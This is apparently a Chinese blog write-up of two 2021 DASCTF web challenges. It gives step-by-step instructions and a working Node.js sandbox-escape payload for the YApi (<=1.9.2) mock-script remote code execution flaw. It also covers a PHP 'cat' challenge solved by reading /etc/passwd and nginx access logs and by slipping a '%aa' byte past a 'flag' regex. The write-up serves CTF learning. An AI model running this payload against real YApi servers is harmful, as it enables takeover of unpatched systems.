2021DASCTF
1.ezrce
打开网站发现就是一个yapi的接口,滑到底部发现版本号
搜索相关的漏洞复现即可
漏洞名称:YAPI远程代码执行漏洞
组件名称:YAPI
影响范围:YAPI<=1.9.2,
漏洞类型:远程代码执行
利用条件:
- 需要用户已登录
- 触发方式远程
YApi 提供了编写JS 脚本方式来提供自定义mock功能,JS脚本运行在NodeJs沙盒上,由于官方的沙盒只是为了隔离上下文,并不提供任何安全保证;mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,通过精心构造的Javascript代码可以绕过沙盒并用于执行任意系统命令,从而导致远程代码执行漏洞,最终导致接管并控制服务器。
利用过程:
- 在首页下方找到登录/注册功能接口,或直接访问 /login 路径进行登录和注册。
- 登录之后进入个人空间,在右侧点击添加项目;
- 添加成功后进入项目,点击右侧同一位置有个“添加接口”
- 添加完之后,打开接口,进入“高级Mock”功能,点击脚本,输入Poc,点击保存即可。
- 点击“预览”,访问Mock地址,即可触发漏洞POC。
- poc
const process = this.constructor.constructor('return process')()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
可以看到成功获取到了当前的用户名为app,主要就是利用execSync这个函数可以执行系统命令
2. cat flag
源码: 提示:管理员曾访问过flag
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
比赛时曾一度在绕过正则表达式和escapeshellarg函数,但是都没有效果,当时可以看到的内容就是
/etc/passwd。
write up出来后才明白了这个提示是什么意思。flag是在网页端被访问的,应该查网站相关的日志,而不是去看Linux下的日志。
由插件可以看到用的是Nginx服务。Nginx 是一个 Web服务器,也可以用作反向代理、负载均衡器、邮件代理和 HTTP 缓存。
Nginx的Linux日志路径:/var/log/nginx/xxx.log
常见的日志有访问日志access,错误日志error
然后我们就看到了flag所在的文件。this_is_final_flag_e2a457126032b42d.php
但是这里就要绕过flag正则了。采用ascii编码绕过
this_is_final_fl%aaag_e2a457126032b42d.php
编码原理请见: php正则绕过
然后右键查看源码得到flag
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。